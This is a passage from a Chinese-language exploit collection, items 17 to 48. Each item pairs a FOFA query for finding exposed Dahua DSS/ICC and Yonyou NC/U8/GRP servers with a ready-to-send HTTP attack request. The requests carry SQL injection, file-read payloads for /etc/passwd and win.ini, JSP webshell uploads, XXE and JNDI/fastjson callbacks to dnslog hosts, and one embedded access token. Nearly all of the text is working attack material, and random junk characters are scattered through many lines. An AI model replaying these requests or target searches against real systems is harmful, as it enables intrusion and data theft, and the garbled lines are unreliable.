+ t! M8 i: Z8 |( ]: W8 v+ XGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
" S) H& i6 m  p, Q) J% A: MAccept-Language: en
. \' `7 M2 M8 x4 ZAccept-Encoding: gzip

  Z. S7 ~# n8 t0 D% [( \
9 H* x+ X# L, O) S+ l/ C1 V17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
: g* I* S$ @1 R! |6 q% ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
$ G2 ~' O, J( g4 Z5 W6 G3 eContent-Length: 345
5 z3 j- c! f* F: m! }( {6 a6 vAccept-Encoding: gzip

+ s* A0 E) ?3 [+ W4 i1 ]<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
* x* h2 ^# n+ o% V) p<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
+ w3 W6 Z; w! h9 r3 |, u7 D      <netMarkings>
3 O+ |" _. L4 T) N5 x. b       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
$ N; c0 }8 ^2 p4 b0 {      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
- t5 {2 v  ~- q8 U: f2 ?FOFA：app="dahua-DSS"
" c1 O8 B" T$ g- F1 @GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
9 {' B% k7 p( `7 x9 p* n# wHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ l5 ^7 ?2 c$ A! R6 JConnection: keep-alive
4 n6 r- v8 M6 P6 L4 o# H1 m


$ P) I2 l0 M0 ^$ ]7 J0 W- e19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
1 B- r! R2 m3 @( p3 ?FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
. [4 l$ k( U/ |' x3 g) v0 ~7 p- fHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
6 j, F) H* G2 y" R+ ^Accept: */*
Connection: keep-alive
' |, U' {( ^% u% E
7 m/ }' G# j& S8 y1 M
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
+ f  {3 @3 U$ D# v0 bHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, u! |! X6 I% R  k# O- b' m4 W! LConnection: close
. |4 ~3 e7 P: K6 T1 n1 W9 P1 b# JAccept: */*
Accept-Language: en
5 G; `+ R, i2 s& u7 \Accept-Encoding: gzip
- M/ y4 G# a) J, Y: e( O& I
1 a5 p- B. W" F' m4 _
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
; k, T2 N" f/ n0 d/ V9 s9 c; YPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
) R; I8 q) R+ |# M# C3 \6 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. ?; d3 E& a. O0 r: ~  d, M5 f+ {" ?Content-Length: 161
( G8 D: w7 e; D" i$ qAccept-Encoding: gzip
- U) J7 f/ \4 p( f' w- OConnection: close
Content-Type: application/json;charset=utf-8

{
4 F% u! x! }) M6 G$ w"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
( N# q; X- R+ F1 t- _& ~: X  }""
' _) L( I1 ^9 \. R}
1 H1 Q: r- \# p  I

$ o  t2 K5 x/ h4 d  k1 y22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
9 w: U* K. s8 P5 U% F7 B% rPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
3 X3 M) K8 ?# J  m4 UHost: your-ip
; G/ ]* C$ r" B: D( u5 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ s" Y& k* [  x9 t- m# uContent-Type: application/json;charset=utf-8
. o, y, ^* C2 q, O$ }
{
0 {+ o, `# @+ y' M1 f2 J; P0 U"loginName":"${jndi:ldap://dnslog}"
}
" A: ^* e- Z( K$ t6 x
' A) t+ i# E: |
7 X/ p, O' {3 p
+ g9 u. {0 d' [0 q" f! D23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
% n, k3 x9 h0 B7 f+ g0 I* V9 IFOFA：icon_hash="-1935899595"
" L4 w" J  B+ Q4 x! kPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
1 N5 J3 l# H& e. l, Y# I( {6 F) E8 eHost: your-ip
4 Z. U) A  t$ e2 W0 X3 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  `! g3 z( Y3 [7 N+ f0 F5 YContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
( d2 ]$ u) r+ P6 {
{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
0 E( V+ M; [& f2 q( }       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}
. ?, u# z- V5 Y$ h. C! ~

24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
; f  i4 v4 W8 j7 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
; [* A+ N3 b% s9 P: w/ m/ gContent-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
- v7 o0 M/ ?  @% J
! E$ o- I5 T+ k( `* N; c- r-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
9 x1 h. V$ C" v-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
& V+ r! R; s1 ?% p4 a7 l# _! U9 [+ N
6 s! f8 s9 w2 W\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
  H7 X1 o. b: c0 }4 o-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

0 S) @8 x5 b: @) s& S
1 m8 C. t+ a6 ~3 S6 i25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
5 V) s' B# P/ ^+ ^) n0 aPOST /portal/registerServlet HTTP/1.1
Host: your-ip
0 I) d/ R) u- \) h9 G# T$ z3 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
5 L$ t5 U* L1 f  `$ F! v4 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
4 S( E) R  O. t0 C- M. J( K1 hAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
5 J, O. ~8 c' d' M! V6 hContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog



26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# M8 z2 p4 I4 k8 z5 j; d5 wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ H. m$ p& r1 _$ m. Q3 pAccept: */*
Connection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
- X) G! Y  U1 ?. F$ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
! o0 A$ J1 B1 vConnection: close
; D9 [5 a. B$ TContent-Type: text/xml; charset=utf-8
9 p3 r2 S; D2 m% R9 u: L6 K  D

; Z) s* _- A. N# R28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
# p. V( X' a; I7 \. S' G2 |2 z4 ZContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
% B4 n( d1 K5 I# ?/ o  K
( U5 r( c5 u0 ~7 e; J# l0 w------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
  [; k) e5 K0 i9 O' k0 }
1 E, ^2 |. h0 Q1 f  n
. B, \6 o6 f' M" B: }) L/uapim/static/pages/nc/head.jsp

5 ]* F' ?* e4 n7 d29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
' M  [& \4 J) I! z$ D( B) IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 p% y  @$ ?* F7 n8 L% sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 f% f' l- q& mAccept: */*
7 a% F& G: K* x/ UConnection: keep-alive


, H$ t5 @/ H$ S: `' R$ ~( N30. 用友NC importPml SQL注入
3 N% m" e( R; S  V1 |FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' c, T% g0 `; [  \9 A* }2 V2 WPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
7 O/ `/ k5 c$ g, ~& t+ YHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
! L3 c$ N8 K5 L( H; \3 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
$ \4 x. J4 h$ [+ N  L7 ?6 x: Z
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
8 ^* n! R* f& Q3 b------WebKitFormBoundaryH970hbttBhoCyj9V--
2 |& {3 A" o# F9 k8 W! C' C  x6 E* O

# g9 V7 Z! i7 r; C31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% d/ B+ G6 @( b/ @/ W4 v: Z; \GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, S* a8 l; N/ i' s$ D; FHost: host
. U4 O7 Z( L1 Q  Q( bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 G" p+ g* G0 x/ |+ Z- `; g/ M

32. 用友NC complainbilldetail SQL注入
- h( Y: T1 L! ~3 o: [5 \version= NC633、NC65
6 \0 n# j1 R/ ]" a" G5 H5 H6 u& ZFOFA：app="用友-UFIDA-NC"
. V" q( X: I- Y. MGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. u* K$ B, w) E6 r& `Host: your-ip
2 e( ~% v  R0 D  u2 n" W0 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ g$ O' S. _" a9 DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

- t* s2 n% d2 E3 y$ m
33. 用友NC downTax/download SQL注入
* s! C& L( J9 @, f! n5 eversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. M# l7 U$ a0 E9 x. f' ^# P$ O) lHost: your-ip
7 |/ ?  ~0 Z; |# sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ C4 L6 r% V1 D/ ^0 yAccept: */*
' k2 K1 a; G; a; AConnection: keep-alive
$ g) N. I2 C" L0 r

34. 用友NC warningDetailInfo接口SQL注入
- a- E' z) w% S8 ^) I4 B- RFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 g1 Q7 e1 }6 h, X$ D' VHost: your-ip
$ \7 O" m- s5 f: z  AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
7 a! [' w- S& u  O; y7 bAccept-Encoding: gzip, deflate
Accept: */*
7 B: P0 n- s! B' Q+ EConnection: keep-alive


35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
! r$ @9 n0 Z! ~3 k6 {# KPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
& Y- N" T" ^& _+ @2 [: \- pHost: 203.25.218.166:8888
, v$ N# Y' _: D7 i6 rUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* P* l) b  S) v- d4 N5 Q/ T- \- R- uAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
( Y8 c) r4 @# [5 n& NContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
$ \( `! M8 h, \5 t
: _# {2 H1 n6 ]' N6 }--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
/ G8 d. q- e, ^$ L
# B: C8 H3 n6 P# @+ w1 X<%out.println(1111*1111);%>
( E! G4 g3 @/ {. ]5 ?2 {--fd28cb44e829ed1c197ec3bc71748df0--


& B! x. I4 c0 ^( x* y36. 用友NC-Cloud soapFormat XXE
+ z5 c# x! |1 R# f- z# W+ D' dFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
0 f) B" f  E; _$ M3 c/ a9 b4 C. xHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
, s8 ^, c5 _' `0 q( b/ lContent-Length: 263
1 K2 c1 \8 l! w3 dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
: ]/ y" a% J6 v+ p4 b' @( IContent-Type: application/x-www-form-urlencoded
; e# ?8 n  M5 f5 }3 LUpgrade-Insecure-Requests: 1
3 s+ ]9 H* b7 j: b6 v/ ^
msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
( E- q2 }+ x* L% ^, L; g$ G2 [
# ~5 d( a* F0 u2 d
6 C8 u6 s# H. Q1 w4 [; t) ?37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
  `6 v2 w" G- ]  ^; qPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' U9 N) A* ^+ S! hContent-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, }0 g  Z/ `, ]4 x  W) E) ^$ xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. ~/ G1 u2 ?. J" ~4 k3 n/ oConnection: close
Content-Type: text/xml;charset=UTF-8
! Z: h+ ~0 M" }8 v9 vSOAPAction: urn:getResult
8 O' E* c0 }. ^! V9 }, nUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
4 F! c; a3 a  l  `$ x- r/ C5 ~- Z<soapenv:Body>
<iup:getResult>
<!--type: string-->
+ @$ F; n# \0 R4 I) H<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
4 B+ f% q' x- o: {) V<xxx/>]]></iup:string>
</iup:getResult>
2 |) G* y* p! S, ~- y" Y</soapenv:Body>
</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
- F! J. ]- @, h6 c" SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 I2 `- r+ u; l+ H0 XConnection: close
5 {9 L& m) Z& A% y* [/ ?5 YContent-Type: application/x-www-form-urlencoded
8 _6 v- o. p) w! M+ d
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
4 J! b1 s+ _1 L$ r& V) H
' D, p5 N# q% |
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
0 @+ ^# ^( z; s  QHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
/ {, ]+ D) L" d! a' VConnection: close
Content-Length: 85
" z+ b3 u$ N) jAccept: */*
Accept-Language: en
- \) |; A: F& BContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
- W/ l2 t7 j, _# E! [7 Z& n/ D
1 t, ~% |  X3 S7 u0 T0 g
( i  y6 Q. N% a; K5 C% E40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
$ Z, G  q, K# v# @% nPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
2 W% K4 `& X  z& [% C+ Y) wUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 ^# U: e! a  i( A5 r. E8 o+ q. TContent-Type: text/xml
Connection: close

5 J) N, o, B; y* J5 {<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


9 u8 n' m; G" K8 K41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
" W0 {1 a& n/ l- }4 qGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
% _! F( S4 P3 c( KHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
" k/ {1 w. t- A+ Z7 e; U

42. 用友GRP-U8 SmartUpload01 文件上传
" \: s: k5 m) N$ X6 k1 w8 Z# SFOFA：app="用友-GRP-U8"
9 v( h$ C# m1 e* u+ P+ Y1 p/ D0 dPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
, Z, i2 a, T$ mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

1 ^' ^3 C+ p5 n8 B, T9 G  @43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
  j7 @* @9 I8 @3 k7 G8 x  PPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
2 n% w0 |2 h' d8 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
4 x2 r+ `$ w/ U; |: J: p: rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
: V' [* ^. f4 D2 W   <soapenv:Header/>
   <soapenv:Body>
/ }1 f, I: P# y( A      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
* v4 ?5 T9 C3 S         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>


% Q* b5 b2 [3 W# j  H5 I44. 用友GRP-U8 bx_dj_check.jsp SQL注入
: A" Y1 a4 I7 m  HFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
& {( E( m8 W; A( sHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 p. Y1 I: C2 P  V7 @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

4 g% {4 q; `5 j$ f5 S
, Y$ `! }  ~9 L0 S45. 用友GRP-U8 ufgovbank XXE
7 U) h; A# _- `( G  E7 y1 U9 aFOFA：app="用友-GRP-U8"
( L: ~0 G2 x$ v( [! ?/ EPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
( v. K8 m7 ~0 |Connection: close
' l. h# s. L5 X+ {' Q, P- `Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. n# @3 m  Q- w2 w  v$ A9 zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
2 g4 E, K# _2 cAccept-Encoding: gzip
) K$ K" `8 ~1 K, {
2 ~% I9 B$ D# I7 W5 [% ^reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

& U, t! U  U0 r9 I3 U
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
6 k; E% f0 c9 @2 \& NHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
4 U0 A, ~5 h% T! a: N% PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- h! ]: T# Q( `Accept-Encoding: gzip, deflate
! C. |7 a& z# A- |/ j. tAccept-Language: zh-CN,zh;q=0.9
Connection: close
) Y+ i& _" x% Y

47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
% i0 T1 j! s/ x. ]6 tHost: x.x.x.x
( v1 E) I/ d0 F; q0 oCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
! K' ?0 J" N  k; e6 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: H5 ?' \1 N) s5 c7 kAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
3 @; T* V# d! NConnection: close
! M' g+ l. w1 T# w  D' Q9 s

+ L. B2 r0 i5 S. E
48. 用友U8 CRM swfupload 任意文件上传
# |: M* f# J5 N( p3 RFOFA：title="用友U8CRM"
